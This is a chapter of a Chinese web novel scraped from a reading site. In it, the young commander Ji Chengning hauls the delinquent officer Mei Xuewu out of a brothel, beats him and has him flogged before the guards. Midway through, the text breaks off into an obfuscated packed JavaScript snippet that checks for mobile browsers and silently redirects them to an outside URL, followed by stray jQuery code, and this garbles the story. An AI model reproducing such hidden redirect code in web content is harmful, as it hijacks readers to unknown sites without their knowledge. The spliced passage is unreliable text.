默认冷灰
24号文字
方正启体

23.第二十三章

作者:蝴蝶公爵本书字数:K更新时间:
    李璧扬声道:“都指挥使梅雪坞,梅雪坞?”


    江临舟深吸了口气,越众而出,硬着头皮道:“回大人,梅郎君生病了,请我给您告假。”


    季承宁冷冷一笑,压迫感十足,“方才不是人齐全了吗?”复道:“梅指挥使这病生得恰到好处,偏偏训练开始时病重。”


    江临舟讪笑道:“人有旦夕祸福,非人力可以预料。”


    季承宁抚掌,“说得好!”那人被吓得肩膀一颤,“来人,牵我的马来。”


    马就系在栏杆旁边,众人方才看见都不明所以,现下才陡然明了小侯爷是早有准备。


    吕仲忙牵马上前。


    “巧了,我一直对梅指挥使心向往之,只恨不能相见,既然他病了,我便去探探病。”


    此言既出,有几个护卫面色惊变。


    “大人!”


    “世子,其实梅指挥使他……”


    季承宁却不给他们解释的机会,翻身上马,扬鞭迅捷而出。


    江临舟惊恐道:“不好,快去给指挥使报信!”


    “就算小侯爷要探望指挥使,也是去公主府上找人,咱们怕什么?难道季承宁敢冲撞长公主殿下?”


    “不论如何,咱们且跟着,看看他到底要作甚!”


    季承宁却不打算去长公主府。


    一则,他还没疯到强闯长公主府的地步,二则,梅雪坞根本不在公主府。


    季承宁水红的唇瓣扬起,勾勒出一个骄狂得意的笑。


    一路策马,往章台坊内去。


    不足二刻,一素雅小院便在眼前,从外表上看和普通民居没有任何区别,只在门口挂了两盏粉红灯笼。


    季承宁推门而入。


    院子不大,站在门口几乎是一览无遗,木廊下面站着个十四五岁的少年人,正捧着只铜盆往外泼水,听到声响,他抬头,被破门而入的季承宁吓了一跳,手里的铜盆扑通一声砸在地上。


    “你是什么人?!”


    季承宁朝那少年露出个极好看的笑,一挥令牌,“轻吕卫搜查,听说你们这私藏逃兵?”


    少年长这么大还从未见过生得如此好的男人,惊艳之余,更添了几分害怕。


    黑云压城,清晨湿且冷,小院内开了大半花圃,水汽氤氲,就显得那漂亮得过分的男子也站在白雾中。


    像个会喝人血,挖人心的妖怪。


    少年哆哆嗦嗦道:“官差大哥,这院子里住得只有我和我兄长,我们做的是正经行当,您千万别听那起小人污我们清白。”


    他一边说,一遍要从袖子里掏钱,然而还没等他摸出钱袋,季承宁伸手就将开了一半的窗子拉开,足下迅捷地一蹬墙面,饿虎扑食似地冲入卧房中。


    “官爷!”


    “啊!”


    梅雪坞在屋内虽听见外面争辩,却不以为意。


    禁军轻吕卫之流来讹诈这些小优伶是常事,床上的梅雪坞懒洋洋地睁开眼,搂过身边香肩轻颤的小美人亲了口,调笑道:“怕什么,等他进来了,本公子叫他叩头给你认错。”


    梅雪坞还没来得及再亲一口,眼前却陡地一黑。


    一个不知道什么玩意的玩意竟飞了进来,直直砸进进他床上。


    美人投怀送抱,于梅雪坞而言本该是件乐事,倘若这美人没有眼冒绿光就更好了。


    梅雪坞还从未见过如此大胆的禁军,连裤子都来不及穿就要起身呵斥,季承宁却比动作他更快。


    梅雪坞只觉软垫砰地陷下去一块,那胆大妄为的混账穿着军靴的腿一扫,劲风袭来,他竟被一脚踹回床上,季承宁欺身压下,膝头狠狠顶上他的小腹,将他抵在床头。


    “嘎吱——”


    梅雪坞好像听到了自己肋骨断裂的声音,被撞得险些吐出一口血。


    “快来人啊!”小美人一边套着衣服,一边惊慌失措地叫道。


    季承宁笑得好不漂亮,却看得梅雪坞毛骨悚然,拿令牌一挑他的下颌,明知故问:“你是梅雪坞?”


    梅雪坞长得不错,毕竟他爹当年就是凭借一张好脸尚主,梅雪坞肖似其父,样貌自然十分俊美,只不过显然被酒色掏空了身体,眼下一圈乌青,目光漂浮游移,透着萎靡之态。


    梅雪坞疼得眼前阵阵发黑,闻言强忍痛苦冷笑道:“知道是小爷我,还不快快放开!”


    季承宁笑眯眯地问:“你可知道我是谁?”


    “我管你是谁!”梅雪坞俊美的脸蛋都狰狞了,“我是你爷爷!”


    “啪!”


    季承宁顺手拿令牌给了他一耳光。


    厚实的玄铁令牌与人柔软的皮肉相贴,发出了啪地一声脆响。


    梅雪坞被打得晕头转向,眼冒金星,他先是感受到了一阵火烧火燎的疼,然后才是羞耻,“你,你居然敢打我!”


    梅雪坞毕竟是世家公子,和许敬恩这样父亲中途被提拔起来的后起之秀不一样,最大的不一样在于,他比许敬恩还不经打。


    一令牌抽下去,世家公子白皙的侧脸立刻肿了起来,浮现出了一个阴刻的季字。


    “重说。”


    梅雪坞活了二十年,还是第一次有人敢打他,且是照着脸抽,血气上涌,张口就骂道:“我是你祖宗,你等着,被我娘知道了,我要你全家的命!”


    季承宁反手又抽了他一耳光。


    他也不恼,依旧笑着:“重说。”


    梅雪坞脸被打得猛地一偏,只觉满口血腥气,太疼了,疼得他鼻子发酸,“士可杀,不可……吭”


    话音未落,令牌被挥得虎虎生风,梅雪坞下意识闭上眼,想象中的疼痛如期而至,他被一把扇倒,软绵绵地倒在枕头上。


    季承宁冷笑,“我呸,值守期间出来嫖男娼,你也配称士?”


    梅雪坞眼冒金星,提不起力气反抗,只恨恨地看着他。


    小美人嘤嘤哭道:“我与梅公子两心相许,绝不似公子说的那般,那般下作肮脏。”


    季承宁抬手。


    小美人立刻闭嘴,紧紧咬住下唇,满目哀怨。


    “你到底,”梅雪坞吐出一口血沫,“是谁?”


    季承宁哈了声,这狗东西居然一次都没来过官署,削刻的手腕一转,令牌要再往梅雪坞脸上落。


    梅雪坞但觉一阵劲风袭来,裹挟着铁的冷气和他唇角淌出的血腥味混杂扑面。


    “司长大人!”


    终于赶上的护卫们皆满目惊悚。


    季承宁是怎么知道梅雪坞在哪的?


    梅雪坞则不可置信地看向季承宁。


    他,永宁侯世子?


    就这么个满身匪气,凶神恶煞的混账东西?


    “大人,”赶来的轻吕卫们都被里面乱七八糟的景象惊呆了,小美人眼泪汪汪地跪在地上,看见这么多人,慌乱拿绿纱遮面,梅雪坞正半死不活地仰面躺着,半张脸都是血,小侯爷一条腿压在梅雪坞胸口,慢悠悠地挥着一块玄铁令牌,“这是……”


    怎么回事?


    季承宁笑道:“梅指挥使发觉自己坏了禁令,没脸见人,便不住地拿脸撞我的令牌,还自请回家反省,并罚俸半年,指挥使,你说是不是?”


    梅雪坞被众星捧月地养大,何时受过这种委屈,气得眼睛一片血红。


    他闻言怨毒地看了眼季承宁,缓缓地,微不可查地点了下头。


    平心而论,所谓梅雪坞自请责罚,就是季承宁对梅雪坞的处置,梅雪坞公然犯禁,撒谎被戳破还被上官逮了个正着,如此责罚,其实并不算重。


    众侍卫听到这般处置都暗地了松了口气。


    果然,季小侯爷再怎么嚣张跋扈,也是要顾忌皇家颜面的。


    见他点头,江临舟赶忙上前。


    季承宁起身,作势要下床。


    梅雪坞目光陡然一厉,精准地摸出枕头下拿来防身的匕首,狠狠朝季承宁背心扎去!


    “咔!”


    金石相接,火星陡地闪烁。


    季承宁竟仿佛早就料到了梅雪坞的举动,猛地回身,只在电光火石之间,拿令牌一把顶住了梅雪坞的匕首,手腕一转,劈手将他的匕首打落。


    “好啊。”季承宁唇边绽开抹粲然的笑容。


    梅雪坞双肩不可自控地一抖。


    明明他已经碍于人情从宽发落了,但是,是梅雪坞自己不想要啊——非但不珍惜他给的机会,还敢行刺朝廷命官。


    季承宁险些大笑出声。


    他一把扯过梅雪坞的衣领,将梅雪坞整个从床上拖了下来,“刺杀朝廷命官,罪加一等。”


    梅雪坞赤红着眼,低吼道:“有本事你就杀了我!”


    季承宁笑道:“杀你,为什么杀你?”他随手抽了身旁护卫腰间悬挂的束绳,一脚踹到梅雪坞腰窝。


    梅雪坞毫无防备,猛地扑向地面。


    “坞郎!”小美人惨叫了声。


    季承宁顺势拿绳子将他手捆在身后,绳子头往自己腕上一缠。


    众人见梅雪坞形容狼狈,难免升起了些兔死狐悲之心,本来嘛,眠花宿柳就不是什么大事,何况梅雪坞也不曾去花楼,只在私娼处住了一夜,不曾被言官撞见,何必如此大动干戈。


    众侍卫刚要劝阻,季承宁面上的笑容瞬间散得一干二净,叱道:“回官署!”


    这句话说得掷地有声,居然流露出了几分杀意,几人一哆嗦,再看看梅公子的惨状,联想到有半个月前小侯爷当街暴打许敬恩的“英名”,掂量了一下自己家世并不比此二人贵重,不敢再言语。


    季承宁将梅雪坞塞入马车,带回官署。


    这回与以往不同,待马车将近,轻吕卫官署正门前已黑压压地站满了人,时时有私语声。


    “听说了吗,季司长亲自去找梅公子了。”


    “那梅雪坞的娘亲可是,”一人往上努努嘴,意味深长,“就算季司长再铁面无私,也要掂量几分。”


    “嘻,天潢贵胄要留情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177830|164381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面,像你我这等贫寒之家可要小心谨慎,免得被新司长大人抓住了,从重处置,杀一……”


    阴阳怪气的话音猛地顿住。


    因为季承宁撩开车帘,从上面跳了下来。


    见他一人回来,众侍卫眼中流露出了几分不屑之色,只会拿他们耍威风,可见季司长也不过如此。


    而后,他们眼睁睁地看着季承宁腕上用力,车帘一阵动颤,竟从中滚出个人!


    还是个衣衫不整,脸肿得像猪头一样的人。


    众侍卫被吓了一跳,定睛看去,那一直低着头,羞恼得恨不得咬舌自尽的人除了梅雪坞梅公子还能是谁?


    季司长竟然真将梅雪坞抓了回来!


    众皆悚然,一时间官署内外寂静无声,连声大气都无。


    季承宁扯着梅雪坞入内,“到演武场。”


    众人不敢怠慢,忙跟了上去。


    演武场中间设一矮台,一面架设栏杆,正是为了处置犯禁的侍卫,以儆效尤。


    季承宁令人把梅雪坞绑上。


    众皆齐聚,偌大的演武场内一时寂静无声。


    只听季承宁寒声道:“先前我令吕仲读轻吕卫律,尔等悉听,梅雪坞明知律令,却还要犯禁,尔亵渎律条,若不处置你,我还有何颜面面圣!”


    明明是个面若桃花的小公子,气势竟如此骇人。


    “依律,公务期间嫖宿娼妓杖二十、无故缺勤二十、刺杀上官,杖五十,数罪并罚,来人,取脊杖来,杖责九十!”


    季承宁岂会不知,梅雪坞此举就是试探和挑衅,看看这位新司长的脾气软硬。


    明知故犯,罪无可恕。


    “大人,大人,”江临舟面色惨白,“杖九十梅郎君还岂有命在?”


    季承宁冷冷道:“好个同僚情深,你为他担四十,如何?”


    江临舟面白如纸,不敢再言语。


    季承宁不容置喙地一扬手,“行刑!”


    两个壮硕刑官见事无转机,各拎一根脊杖大步上前,低声道了句得罪,扬起脊杖,狠狠落下。


    “啪、啪、啪……”


    击声不绝。


    不过十杖,便见血肉横飞,梅雪坞起先还能大骂季承宁不要命,等他来日禀告长公主殿下定叫他死无全尸,之后声音越低,只剩游丝的气音。


    梅雪坞再撑不住,身子往前倾倒,又被腕上的绳索紧紧扼着,吊在木栏杆上。


    血腥气蔓延。


    萦绕着一张张惨白的脸,一张张恐惧的、震撼的、还有……微不可查的希冀的脸。


    季承宁手段狠辣,又不畏皇族高门,有人心道,是否当真和从前的那些尸位素餐的司长有所不同?


    谁人也不曾想到,这位素有纨绔无能之名的小公子竟如此狠厉,见到这等可怖场面,竟连眉头都没变皱。


    “司长,梅郎君昏过去了!”


    季承宁眼皮半掀,“还剩多少杖?”


    行刑人惴惴道:“还剩六十五。”


    季承宁也知道,九十杖下去梅雪坞就被打成饺子馅了,“将人抬下去诊治,待好了再打。”


    还打?


    有侍卫瞪大了眼珠子,治好了打,打坏了再治,还不如死了算了!


    上来两扈从将梅雪坞抬了下去。


    血顺着他后背上的伤口汨汨淌下,染红了一路的黄沙。


    季承宁寒声道:“再有违律者,这就是前车之鉴。”


    而后顿了顿,扫过众人苍白的脸,继续道:“诸位家中皆世受国恩,既为官,当仰不负天地,俯不愧万民,所以,”轻吕卫内一干人心都提到了嗓子眼,“从即日起,轻吕每五人一组,日日晨、晚皆要在外巡视,且每两天,便要操练一整日。”


    人群中一道声音传来,“回司长,我们日日巡视操练,那您在官署作甚?”


    一石激起千层浪。


    “问得好,”季承宁冷若冰霜的脸上忽地漾出一抹笑,顿生十分轩昂霞举,他斩钉截铁道:“我同你们一起!”


    “若有惧怕劳苦者,可直接向我言明请辞,我绝不横加阻止。”


    大纛猎猎作响,乌黑的旗帜下,是独属于少年人的,意气风发,神采飞扬的面容,竟叫人也不由得心生激荡。


    倘若,季承宁当真与先前轻吕卫任何一个司长都不同呢?


    有人怔怔心道。


    这些官家子弟中有不少家道早已中落,亦无爵位可以继承,蒙父祖荫蔽得以做个侍卫,难道,就真的要碌碌无为终了残生吗?


    建功立业的机会或许近在咫尺。


    站在大旗下的少年人眉眼张扬,雄姿英发,灼眼得如同白虹幻光。


    可封狼居胥,图留凌烟的滋味太好,太让人心驰神往,便是幻光,他们也心甘情愿一试。


    李璧越众而出,“愿遵司长大人钧令!”


    不过须臾之间,整个演武场上响起了足以震撼寰宇的呼声——“愿遵司长大人钧令!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)